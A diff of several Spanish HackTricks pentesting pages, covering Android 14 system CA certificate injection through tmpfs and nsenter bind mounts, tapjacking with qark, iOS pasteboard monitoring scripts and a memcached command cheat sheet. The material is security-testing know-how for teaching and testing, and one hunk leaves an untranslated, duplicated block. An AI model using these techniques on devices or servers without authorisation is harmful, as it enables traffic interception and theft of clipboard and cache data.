@ -57,11 +57,11 @@ Si **rooteaste tu dispositivo con Magisc** (quizás un emulador), y no puedes se
|
|||
|
||||
Explicado en [**este video**](https://www.youtube.com/watch?v=qQicUW0svB8) necesitas:
|
||||
|
||||
1. **Instalar un certificado de CA**: Simplemente **arrastra y suelta** el certificado DER de Burp **cambiando la extensión** a `.crt` en el móvil para que se almacene en la carpeta de Descargas y ve a `Instalar un certificado` -> `Certificado de CA`
|
||||
1. **Instalar un certificado de CA**: Simplemente **arrastra y suelta** el certificado DER de Burp **cambiando la extensión** a `.crt` en el móvil para que se guarde en la carpeta de Descargas y ve a `Instalar un certificado` -> `Certificado de CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifica que el certificado se haya almacenado correctamente yendo a `Credenciales de confianza` -> `USUARIO`
|
||||
* Verifica que el certificado se haya guardado correctamente yendo a `Credenciales de confianza` -> `USUARIO`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -77,11 +77,11 @@ Explicado en [**este video**](https://www.youtube.com/watch?v=qQicUW0svB8) neces
|
|||
|
||||
En la última versión de Android 14, se ha observado un cambio significativo en el manejo de los certificados de Autoridad de Certificación (CA) de confianza del sistema. Anteriormente, estos certificados se encontraban en **`/system/etc/security/cacerts/`**, accesibles y modificables por usuarios con privilegios de root, lo que permitía su aplicación inmediata en todo el sistema. Sin embargo, con Android 14, la ubicación de almacenamiento se ha trasladado a **`/apex/com.android.conscrypt/cacerts`**, un directorio dentro de la ruta **`/apex`**, que es inmutable por naturaleza.
|
||||
|
||||
Los intentos de volver a montar la ruta de **cacerts de APEX** como escribible fracasan, ya que el sistema no permite tales operaciones. Incluso los intentos de desmontar o superponer el directorio con un sistema de archivos temporal (tmpfs) no evitan la inmutabilidad; las aplicaciones siguen accediendo a los datos de certificados originales independientemente de los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje de **`/apex`** está configurado con propagación PRIVADA, asegurando que cualquier modificación dentro del directorio **`/apex`** no afecte a otros procesos.
|
||||
Los intentos de volver a montar la ruta de **cacerts de APEX** como escribible fracasan, ya que el sistema no permite tales operaciones. Incluso los intentos de desmontar o superponer el directorio con un sistema de archivos temporal (tmpfs) no evitan la inmutabilidad; las aplicaciones siguen accediendo a los datos de certificados originales independientemente de los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje de **`/apex`** está configurado con propagación PRIVADA, asegurando que cualquier modificación dentro del directorio de **`/apex`** no afecte a otros procesos.
|
||||
|
||||
La inicialización de Android implica el proceso `init`, que, al iniciar el sistema operativo, también inicia el proceso Zygote. Este proceso es responsable de lanzar procesos de aplicaciones con un nuevo espacio de montaje que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio de otros procesos.
|
||||
|
||||
Sin embargo, existe un método alternativo para aquellos que necesitan modificar los certificados de CA de confianza del sistema dentro del directorio **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo así escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura, y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere una acción rápida para evitar bloqueos del sistema. Para garantizar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que reinicia efectivamente todas las aplicaciones y lleva el sistema a un estado consistente.
|
||||
Sin embargo, existe un método alternativo para aquellos que necesitan modificar los certificados de CA de confianza del sistema dentro del directorio de **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo así escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura, y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere una acción rápida para evitar bloqueos del sistema. Para garantizar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que reinicia efectivamente todas las aplicaciones y lleva el sistema a un estado consistente.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -139,20 +139,20 @@ wait # Launched in parallel - wait for completion here
|
|||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Montaje vinculado a través de NSEnter
|
||||
### Montaje de enlace a través de NSEnter
|
||||
|
||||
1. **Configuración de un directorio escribible**: Inicialmente, se establece un directorio escribible montando un `tmpfs` sobre el directorio existente de certificados del sistema no APEX. Esto se logra con el siguiente comando:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Preparando Certificados de CA**: Después de configurar el directorio escribible, los certificados de CA que se pretenden utilizar deben ser copiados en este directorio. Esto puede implicar copiar los certificados predeterminados desde `/apex/com.android.conscrypt/cacerts/`. Es esencial ajustar los permisos y las etiquetas SELinux de estos certificados en consecuencia.
|
||||
2. **Preparando Certificados de CA**: Tras configurar el directorio escribible, los certificados de CA que se pretenden utilizar deben ser copiados en este directorio. Esto podría implicar copiar los certificados predeterminados desde `/apex/com.android.conscrypt/cacerts/`. Es esencial ajustar los permisos y etiquetas SELinux de estos certificados en consecuencia.
|
||||
3. **Montaje de Enlace para Zygote**: Utilizando `nsenter`, se ingresa al espacio de nombres de montaje de Zygote. Zygote, siendo el proceso responsable de lanzar aplicaciones de Android, requiere este paso para asegurar que todas las aplicaciones iniciadas en adelante utilicen los certificados de CA recién configurados. El comando utilizado es:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Esto asegura que cada nueva aplicación iniciada se adhiera a la configuración actualizada de certificados CA.
|
||||
|
||||
4. **Aplicar cambios a las aplicaciones en ejecución**: Para aplicar los cambios a las aplicaciones que ya están en ejecución, se utiliza nuevamente `nsenter` para ingresar individualmente al espacio de nombres de cada aplicación y realizar un montaje de enlace similar. El comando necesario es:
|
||||
4. **Aplicar Cambios a las Aplicaciones en Ejecución**: Para aplicar los cambios a las aplicaciones que ya se están ejecutando, se utiliza nuevamente `nsenter` para ingresar individualmente al espacio de nombres de cada aplicación y realizar un montaje de enlace similar. El comando necesario es:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
@ -162,18 +162,18 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
|||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -60,29 +60,29 @@ Sigue las **instrucciones del README para usarla**.
|
|||
|
||||
### FloatingWindowApp
|
||||
|
||||
Un proyecto de ejemplo que implementa **FloatingWindowApp**, que se puede utilizar para colocar encima de otras actividades y realizar un ataque de clickjacking, se puede encontrar en [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un poco antiguo, buena suerte construyendo el apk).
|
||||
Un proyecto de ejemplo que implementa **FloatingWindowApp**, el cual se puede utilizar para colocarse encima de otras actividades y realizar un ataque de clickjacking, se puede encontrar en [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un poco antiguo, buena suerte construyendo el apk).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
Parece que este proyecto ya no se mantiene y esta funcionalidad ya no funciona correctamente
|
||||
Parece que este proyecto ya no se mantiene y esta funcionalidad ya no funciona correctamente.
|
||||
{% endhint %}
|
||||
|
||||
Puedes usar [**qark**](https://github.com/linkedin/qark) con los parámetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para crear una aplicación maliciosa y probar posibles vulnerabilidades de **Tapjacking**.
|
||||
|
||||
La mitigación es relativamente simple ya que el desarrollador puede optar por no recibir eventos táctiles cuando una vista está cubierta por otra. Utilizando la [Referencia del Desarrollador de Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> A veces es esencial que una aplicación pueda verificar que una acción se está realizando con pleno conocimiento y consentimiento del usuario, como otorgar una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones, sin darse cuenta, ocultando el propósito previsto de la vista. Como remedio, el marco ofrece un mecanismo de filtrado táctil que se puede utilizar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles.
|
||||
> A veces es esencial que una aplicación pueda verificar que una acción se está realizando con pleno conocimiento y consentimiento del usuario, como otorgar una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones, sin darse cuenta, ocultando el propósito previsto de la vista. Como remedio, el framework ofrece un mecanismo de filtrado táctil que se puede utilizar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles.
|
||||
>
|
||||
> Para habilitar el filtrado táctil, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el marco descartará los toques que se reciban siempre que la ventana de la vista esté oscurecida por otra ventana visible. Como resultado, la vista no recibirá toques cada vez que aparezca una notificación, un diálogo u otra ventana encima de la ventana de la vista.
|
||||
> Para habilitar el filtrado táctil, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el framework descartará los toques que se reciban siempre que la ventana de la vista esté oscurecida por otra ventana visible. Como resultado, la vista no recibirá toques cada vez que aparezca una notificación, diálogo u otra ventana por encima de la ventana de la vista.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
El intercambio de datos dentro y entre aplicaciones en dispositivos iOS se facilita mediante el mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que se divide en dos categorías principales:
|
||||
El intercambio de datos dentro y entre aplicaciones en dispositivos iOS es facilitado por el mecanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), que se divide en dos categorías principales:
|
||||
|
||||
- **Portapapeles general en todo el sistema**: Se utiliza para compartir datos con **cualquier aplicación** y está diseñado para persistir datos a través de reinicios de dispositivo y desinstalaciones de aplicaciones, una característica disponible desde iOS 10.
|
||||
- **Portapapeles personalizado / con nombre**: Estos son específicamente para compartir datos **dentro de una aplicación o con otra aplicación** que comparte el mismo ID de equipo, y no están diseñados para persistir más allá de la vida del proceso de la aplicación que los crea, siguiendo los cambios introducidos en iOS 10.
|
||||
- **Portapapeles general en todo el sistema**: Se utiliza para compartir datos con **cualquier aplicación** y está diseñado para persistir datos a través de reinicios de dispositivo y desinstalaciones de aplicaciones, una característica que ha estado disponible desde iOS 10.
|
||||
- **Portapapeles personalizado/nombrado**: Estos son específicamente para compartir datos **dentro de una aplicación o con otra aplicación** que comparte el mismo ID de equipo, y no están diseñados para persistir más allá de la vida del proceso de la aplicación que los crea, siguiendo los cambios introducidos en iOS 10.
|
||||
|
||||
Las **consideraciones de seguridad** juegan un papel importante al utilizar los portapapeles. Por ejemplo:
|
||||
- No hay un mecanismo para que los usuarios gestionen los permisos de la aplicación para acceder al **portapapeles**.
|
||||
- No hay un mecanismo para que los usuarios administren los permisos de la aplicación para acceder al **portapapeles**.
|
||||
- Para mitigar el riesgo de monitoreo no autorizado en segundo plano del portapapeles, el acceso está restringido cuando la aplicación está en primer plano (desde iOS 9).
|
||||
- Se desaconseja el uso de portapapeles con nombre persistentes a favor de contenedores compartidos debido a preocupaciones de privacidad.
|
||||
- La función de **Portapapeles Universal** introducida con iOS 10, que permite compartir contenido entre dispositivos a través del portapapeles general, puede ser gestionada por los desarrolladores para establecer la caducidad de los datos y deshabilitar la transferencia automática de contenido.
|
||||
- Se desaconseja el uso de portapapeles nombrados persistentes a favor de contenedores compartidos debido a preocupaciones de privacidad.
|
||||
- La función **Portapapeles Universal** introducida con iOS 10, que permite compartir contenido entre dispositivos a través del portapapeles general, puede ser gestionada por los desarrolladores para establecer la expiración de datos y deshabilitar la transferencia automática de contenido.
|
||||
|
||||
Es crucial asegurarse de que la **información sensible no se almacene inadvertidamente** en el portapapeles general. Además, las aplicaciones deben estar diseñadas para evitar el uso indebido de los datos del portapapeles general para acciones no deseadas, y se alienta a los desarrolladores a implementar medidas para evitar la copia de información sensible en el portapapeles.
|
||||
|
||||
|
@ -45,10 +45,10 @@ El análisis dinámico implica enganchar o rastrear métodos específicos:
|
|||
|
||||
Detalles clave a monitorear incluyen:
|
||||
- **Nombres** y **contenidos** del portapapeles (por ejemplo, verificación de cadenas, URLs, imágenes).
|
||||
- **Número de elementos** y **tipos de datos** presentes, aprovechando comprobaciones de tipos de datos estándar y personalizados.
|
||||
- **Opciones de caducidad y solo local** inspeccionando el método `setItems:options:`.
|
||||
- **Número de elementos** y **tipos de datos** presentes, aprovechando verificaciones de tipos de datos estándar y personalizados.
|
||||
- **Opciones de expiración y solo local** inspeccionando el método `setItems:options:`.
|
||||
|
||||
Un ejemplo de uso de herramienta de monitoreo es el **monitor de portapapeles de objection**, que consulta el portapapeles general cada 5 segundos en busca de cambios y muestra los nuevos datos.
|
||||
Un ejemplo de uso de herramienta de monitoreo es el **monitor de portapapeles de objection**, que consulta el generalPasteboard cada 5 segundos en busca de cambios y muestra los nuevos datos.
|
||||
|
||||
Aquí tienes un ejemplo de script JavaScript simple, inspirado en el enfoque de objection, para leer y registrar cambios en el portapapeles cada 5 segundos:
|
||||
```javascript
|
||||
|
@ -80,7 +80,7 @@ console.log(items);
|
|||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
|
|
@ -7,50 +7,50 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Hoja de trucos de Comandos
|
||||
|
||||
**De** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
**Desde** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
Los comandos admitidos (los oficiales y algunos no oficiales) están documentados en el documento [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
|
||||
|
||||
Lamentablemente, la descripción de la sintaxis no es muy clara y un simple comando de ayuda que liste los comandos existentes sería mucho mejor. Aquí tienes una descripción general de los comandos que puedes encontrar en la [fuente](https://github.com/memcached/memcached) (a partir del 19.08.2016):
|
||||
Lamentablemente, la descripción de la sintaxis no es muy clara y un simple comando de ayuda que liste los comandos existentes sería mucho mejor. Aquí tienes una visión general de los comandos que puedes encontrar en la [fuente](https://github.com/memcached/memcached) (a partir del 19.08.2016):
|
||||
|
||||
| Comando | Descripción | Ejemplo |
|
||||
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| get | Lee un valor | `get mykey` |
|
||||
| set | Establece una clave incondicionalmente | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Asegúrate de usar \r\n como saltos de línea al usar herramientas de línea de comandos de Unix. Por ejemplo</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | Agrega una nueva clave | `add newkey 0 60 5` |
|
||||
| replace | Sobrescribe la clave existente | `replace key 0 60 5` |
|
||||
| append | Agrega datos a la clave existente | `append key 0 60 15` |
|
||||
| prepend | Agrega datos al principio de la clave existente | `prepend key 0 60 15` |
|
||||
| incr | Incrementa el valor numérico de la clave dada por un número dado | `incr mykey 2` |
|
||||
| decr | Decrementa el valor numérico de la clave dada por un número dado | `decr mykey 5` |
|
||||
| delete | Elimina una clave existente | `delete mykey` |
|
||||
| flush\_all | Invalida todos los elementos inmediatamente | `flush_all` |
|
||||
| flush\_all | Invalida todos los elementos en n segundos | `flush_all 900` |
|
||||
| stats | Imprime estadísticas generales | `stats` |
|
||||
| | Imprime estadísticas de memoria | `stats slabs` |
|
||||
| replace | Sobrescribe la clave existente | `replace key 0 60 5` |
|
||||
| append | Adjunta datos a la clave existente | `append key 0 60 15` |
|
||||
| prepend | Agrega datos al principio de la clave existente | `prepend key 0 60 15` |
|
||||
| incr | Incrementa el valor numérico de la clave dada por un número dado| `incr mykey 2` |
|
||||
| decr | Decrementa el valor numérico de la clave dada por un número dado| `decr mykey 5` |
|
||||
| delete | Elimina una clave existente | `delete mykey` |
|
||||
| flush\_all | Invalida todos los elementos inmediatamente | `flush_all` |
|
||||
| flush\_all | Invalida todos los elementos en n segundos | `flush_all 900` |
|
||||
| stats | Imprime estadísticas generales | `stats` |
|
||||
| | Imprime estadísticas de memoria | `stats slabs` |
|
||||
| | Imprime estadísticas de asignación de nivel superior | `stats malloc` |
|
||||
| | Imprime información sobre elementos | `stats items` |
|
||||
| | Imprime información sobre elementos | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | Restablece contadores de estadísticas | `stats reset` |
|
||||
| lru\_crawler metadump | Volcar (la mayoría de) los metadatos de (todos) los elementos en la caché | `lru_crawler metadump all` |
|
||||
| version | Imprime la versión del servidor | `version` |
|
||||
| verbosity | Aumenta el nivel de registro | `verbosity` |
|
||||
| quit | Termina la sesión | `quit` |
|
||||
| version | Imprime la versión del servidor | `version` |
|
||||
| verbosity | Aumenta el nivel de registro | `verbosity` |
|
||||
| quit | Termina la sesión | `quit` |
|
||||
|
||||
#### Estadísticas de Tráfico <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
|
@ -60,7 +60,7 @@ stats
|
|||
```
|
||||
Obtendrás un listado que muestra el número de conexiones, bytes enviados/recibidos y mucho más.
|
||||
|
||||
**Ejemplo de Salida:**
|
||||
**Ejemplo de salida:**
|
||||
```
|
||||
STAT pid 14868
|
||||
STAT uptime 175931
|
||||
|
@ -121,9 +121,13 @@ No hay una función incorporada para determinar directamente el conjunto actual
|
|||
```
|
||||
stats items
|
||||
```
|
||||
### Comando para determinar cuántas claves existen:
|
||||
### Command to determine how many keys do exist
|
||||
|
||||
Utiliza el comando `stats items` para determinar cuántas claves existen en el servidor Memcache.
|
||||
Use the following command to determine how many keys exist in the Memcache server:
|
||||
|
||||
```bash
|
||||
stats items
|
||||
```
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 220
|
||||
|
@ -133,16 +137,16 @@ STAT items:2:age 1405
|
|||
[...]
|
||||
END
|
||||
```
|
||||
Esto al menos ayuda a ver si se utilizan claves. Para volcar los nombres de las claves desde un script PHP que ya accede a memcache, puedes usar el código PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
Esto al menos ayuda a ver si se utilizan claves. Para volcar los nombres de las claves desde un script de PHP que ya accede a memcache, puedes usar el código PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
